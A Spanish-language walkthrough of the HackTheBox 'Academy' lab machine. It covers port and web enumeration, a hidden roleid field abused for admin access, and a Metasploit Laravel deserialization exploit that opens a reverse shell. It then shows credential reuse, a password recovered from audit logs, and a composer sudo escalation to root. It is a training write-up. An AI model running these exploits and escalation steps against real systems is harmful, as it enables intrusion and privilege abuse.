Academy es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Academy 10.10.10.215 a /etc/hosts como academy.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
# Nmap 7.70 scan initiated Wed Dec 9 13:50:26 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.215 Nmap scan report for 10.10.10.215 Host is up (0.053s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Did not follow redirect to http://academy.htb/ 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port33060-TCP:V=7.70%I=7%D=12/9%Time=5FD0C9FC%P=x86_64-pc-linux-gnu%r(N SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\ SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2 SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0") SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01 SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TLSSessionReq,2B,"\x SF:05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvali SF:d\x20message\"\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")% SF:r(SMBProgNeg,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\ SF:0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20me SF:ssage\"\x05HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0" SF:)%r(LPDString,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x0 SF:5\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid SF:\x20message\"\x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0" SF:)%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0 SF:\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a SF:\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\ SF:x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20mess SF:age\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSReque SF:st,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08 SF:\x05\x1a\0")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x0 SF:5\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid SF:\x20message\"\x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Dec 9 13:58:56 2020 -- 1 IP address (1 host up) scanned in 510.54 seconds |
Encontramos el puerto 80 perteneciente a un portal web así que comenzaremos la enumeración revisando el mismo.
Enumeracion
Accedemos al puerto 80 y automáticamente nos hace una redirección de la ip a la url academy.htb mostrando el siguiente portal:
No vemos nada relevante en el mismo, salvo un par de enlaces a login y register respectivamente, asi que procederemos en primer lugar a registrarnos en el portal:
Nos creamos una cuenta y posteriormente accedemos al mismo observando la siguiente pantalla de inicio una vez logueados:
Revisamos el código fuente pero no encontramos nada que nos pueda ayudar a partir de ahora así que nos toca enumerar los posibles directorios y ficheros existentes en el mismo.
Lanzaremos gobuster en primer lugar para buscar los posibles directorios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ gobuster dir -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://academy.htb/ [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/12/09 15:02:00 Starting gobuster =============================================================== /images (Status: 301) /server-status (Status: 403) |
Pero no encontramos nada relevante.
Lanzamos ahora wfuzz con la intención de descubrir ficheros con la extensión php o txt, y ahora si que vemos algo de luz:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ wfuzz -u http://academy.htb/FUZZ.FUZ2Z -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 -z list,php-txt --hh 2117 ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://academy.htb/FUZZ.FUZ2Z Total requests: 441120 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000027: 403 9 L 28 W 276 Ch "php" 000000075: 302 1049 L 4114 W 55034 Ch "home - php" 000000105: 200 141 L 226 W 2627 Ch "login - php" 000000129: 200 148 L 247 W 3003 Ch "register - php" 000000517: 200 141 L 227 W 2633 Ch "admin - php" 000002979: 200 0 L 0 W 0 Ch "config - php" 000090479: 403 9 L 28 W 276 Ch "php" Total time: 2581.115 Processed Requests: 441120 Filtered Requests: 441113 Requests/sec.: 170.9028 |
En la que observamos la página de admin.php, aunque tampoco conseguimos nada ya que nuestro usuario no tiene dichos permisos. Tratamos también de hacer un sqli pero tampoco tenemos suerte así que volvemos al panel de registro para revisar el mismo y encontramos un campo oculto en el que no nos habíamos fijado antes.
1 |
<input type="hidden" value="0" name="roleid" /> |
Así que modificamos el valor del mismo a 1 y nos registramos en el portal y probaremos de nuevo a loguearnos en la página de admin.php y ahora sí que hemos podido pasar este formulario accediendo a la siguiente página:
En esta parte descubrimos 3 cosas que no conocíamos aún, dos posibles usuarios, cry0l1t3 y mrb3n y el subdominio de dev-staging-01 así que añadimos dicho subdominio al fichero /etc/hosts y accedemos al mismo.
En este subdominio descubrimos una página de Google Code Pretify:
Y si nos desplazamos por el mismo encontramos que hay varios datos de una instalación de laravel, entre los que se encuentra la API_KEY del mismo, por lo que buscamos un poco en google y encontramos que es posible la realización de un RCE si conocemos la key de la api.
Así que lanzamos nuestro metasploit para este caso y buscamos un exploit al respecto:
1 2 3 4 5 6 7 8 |
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution msf5 > use exploit/unix/http/laravel_token_unserialize_exec |
Añadimos nuestros datos al mismo:
1 2 3 4 5 6 |
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= msf5 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb vhost => dev-staging-01.academy.htb msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.3 lhost => 10.10.14.3 |
Y procedemos a su ejecución, consiguiendo una shell con el usuario www-data:
1 2 3 4 5 6 7 8 9 |
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run [*] Started reverse TCP handler on 10.10.14.3:4444 [*] Command shell session 1 opened (10.10.14.3:4444 -> 10.10.10.215:45823) at 2020-12-09 15:32:30 +0100 id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami www-data |
Comenzaremos ahora a enumerar el sistema y encontramos el fichero .env de la aplicación en la ruta /var/www/html/academy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
ls -la /var/www/html/academy/ total 280 drwxr-xr-x 12 www-data www-data 4096 Aug 13 12:42 . drwxr-xr-x 4 root root 4096 Aug 13 12:36 .. -rw-r--r-- 1 www-data www-data 706 Aug 13 12:42 .env -rw-r--r-- 1 www-data www-data 651 Feb 7 2018 .env.example -rw-r--r-- 1 www-data www-data 111 Feb 7 2018 .gitattributes -rw-r--r-- 1 www-data www-data 155 Feb 7 2018 .gitignore drwxr-xr-x 6 www-data www-data 4096 Feb 7 2018 app -rwxr-xr-x 1 www-data www-data 1686 Feb 7 2018 artisan drwxr-xr-x 3 www-data www-data 4096 Feb 7 2018 bootstrap -rw-r--r-- 1 www-data www-data 1512 Feb 7 2018 composer.json -rw-r--r-- 1 www-data www-data 191621 Aug 9 11:57 composer.lock drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 config drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 database -rw-r--r-- 1 www-data www-data 1150 Feb 7 2018 package.json -rw-r--r-- 1 www-data www-data 1040 Feb 7 2018 phpunit.xml drwxr-xr-x 4 www-data www-data 4096 Nov 9 10:13 public -rw-r--r-- 1 www-data www-data 3622 Feb 7 2018 readme.md drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 resources drwxr-xr-x 2 www-data www-data 4096 Feb 7 2018 routes -rw-r--r-- 1 www-data www-data 563 Feb 7 2018 server.php drwxr-xr-x 5 www-data www-data 4096 Feb 7 2018 storage drwxr-xr-x 4 www-data www-data 4096 Feb 7 2018 tests drwxr-xr-x 38 www-data www-data 4096 Aug 9 11:57 vendor -rw-r--r-- 1 www-data www-data 549 Feb 7 2018 webpack.mix.js |
Cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
APP_NAME=Laravel APP_ENV=local APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= APP_DEBUG=false APP_URL=http://localhost LOG_CHANNEL=stack DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=academy DB_USERNAME=dev DB_PASSWORD=mySup3rP4s5w0rd!! BROADCAST_DRIVER=log CACHE_DRIVER=file SESSION_DRIVER=file SESSION_LIFETIME=120 QUEUE_DRIVER=sync REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379 MAIL_DRIVER=smtp MAIL_HOST=smtp.mailtrap.io MAIL_PORT=2525 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" |
Vemos que tenemos unas credenciales en el mismo, y que tal vez nos sean útiles con alguno de los usuarios descubiertos, así que probamos el acceso por ssh y bingo! estamos dentro con el usuario cry0l1t3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
$ ssh cry0l1t3@10.10.10.215 The authenticity of host '10.10.10.215 (10.10.10.215)' can't be established. ECDSA key fingerprint is SHA256:4v7BvR4VfuEwrmXljKvXmF+JjLCgP/46G78oNEHzt2c. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.215' (ECDSA) to the list of known hosts. cry0l1t3@10.10.10.215's password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 09 Dec 2020 02:48:07 PM UTC System load: 0.59 Usage of /: 45.2% of 15.68GB Memory usage: 19% Swap usage: 0% Processes: 180 Users logged in: 0 IPv4 address for ens160: 10.10.10.215 IPv6 address for ens160: dead:beef::250:56ff:feb9:45a3 * Introducing self-healing high availability clustering for MicroK8s! Super simple, hardened and opinionated Kubernetes for production. https://microk8s.io/high-availability 0 updates can be installed immediately. 0 of these updates are security updates. Last login: Wed Aug 12 21:58:45 2020 from 10.10.14.2 $ id && whoami uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) cry0l1t3 $ |
Obteniendo la flag de user
Ya dentro de la cuenta del usuario, sólo nos queda ir a la home del mismo y obtener nuestra flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ pwd /home/cry0l1t3 $ ls -la total 32 drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 21:58 . drwxr-xr-x 8 root root 4096 Aug 10 00:34 .. lrwxrwxrwx 1 root root 9 Aug 10 23:41 .bash_history -> /dev/null -rw-r--r-- 1 cry0l1t3 cry0l1t3 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 cry0l1t3 cry0l1t3 3771 Feb 25 2020 .bashrc drwx------ 2 cry0l1t3 cry0l1t3 4096 Aug 12 21:58 .cache drwxrwxr-x 3 cry0l1t3 cry0l1t3 4096 Aug 12 02:30 .local -rw-r--r-- 1 cry0l1t3 cry0l1t3 807 Feb 25 2020 .profile -r--r----- 1 cry0l1t3 cry0l1t3 33 Dec 9 12:54 user.txt $ cat user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 $ |
Aunque para hacer más cómodos los siguientes pasos, vamos a obtener una shell con python:
1 2 |
$ python3 -c 'import pty;pty.spawn("/bin/bash")' cry0l1t3@academy:~$ |
Escalado de privilegios
Revisamos los permisos y grupos de este usuario y vemos que está dentro del grupo adm:
1 2 |
cry0l1t3@academy:~$ id uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm) |
El cual tiene permisos para ver algunos de los logs existentes en la ruta /var/log, así que revisamos los mismos y después de como media hora investigando en esta parte encontramos algo interesante en los logs de audit, en concreto en el fichero audit.log.3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
cry0l1t3@academy:/var/log/audit$ grep -rin -E "1001|1002" audit.log.3 | grep TTY 31:type=TTY msg=audit(1597199290.086:83): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=7375206D7262336E0A 32:type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A 37:type=TTY msg=audit(1597199304.778:89): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=77686F616D690A 38:type=TTY msg=audit(1597199308.262:90): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A 41:type=TTY msg=audit(1597199317.622:93): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A 42:type=TTY msg=audit(1597199443.421:94): tty pid=2606 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D 43:type=TTY msg=audit(1597199533.458:95): tty pid=2643 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D 44:type=TTY msg=audit(1597199575.087:96): tty pid=2686 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=3618790D 45:type=TTY msg=audit(1597199606.563:97): tty pid=2537 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D 46:type=TTY msg=audit(1597199606.567:98): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A 55:type=TTY msg=audit(1597199610.163:107): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A 56:type=TTY msg=audit(1597199616.307:108): tty pid=2712 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=6973746F72790D686973746F72790D657869740D 57:type=TTY msg=audit(1597199616.307:109): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A |
En los cuales obtenemos diferentes datos en código hexadecimal, así que convertimos los mismos y observamos entre diferentes comandos ejecutados por los usuarios, lo que parece ser una password:
1 |
mrb3n_Ac@d3my! |
Probamos el escalado al usuario mrb3n y conseguimos acceder:
1 2 3 4 5 6 |
cry0l1t3@academy:/var/log/audit$ su - mrb3n Password: $ id uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n) $ python3 -c 'import pty;pty.spawn("/bin/bash")' mrb3n@academy:~$ |
El siguiente paso será revisar si dispone de algún permiso de sudo y tenemos que puede ejecutar composer sin necesidad de indicar ninguna pass:
1 2 3 4 5 6 7 8 |
mrb3n@academy:~$ sudo -l [sudo] password for mrb3n: Matching Defaults entries for mrb3n on academy: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mrb3n may run the following commands on academy: (ALL) /usr/bin/composer |
Así que nos vamos a gtfobins y encontramos una forma de escalar privilegios.
Lanzamos dichos comandos para la generación de una shell y bingo somos root:
1 2 3 4 5 6 7 8 9 10 11 |
mrb3n@academy:~$ TF=$(mktemp -d) mrb3n@academy:~$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json mrb3n@academy:~$ sudo composer --working-dir=$TF run-script x PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Do not run Composer as root/super user! See https://getcomposer.org/root for details > /bin/sh -i 0<&3 1>&3 2>&3 # id uid=0(root) gid=0(root) groups=0(root) # whoami root |
Obteniendo la flag de root
Ya sólo nos queda ir a la home de root y obtener nuestra flag:
1 2 3 4 5 6 7 8 9 |
# cd /root # ls -l total 12 -r--r----- 1 root root 1748 Nov 6 09:53 academy.txt -r--r----- 1 root root 33 Dec 9 12:54 root.txt drwxr-xr-x 3 root root 4096 Aug 7 12:12 snap # cat root.txt cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx4 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace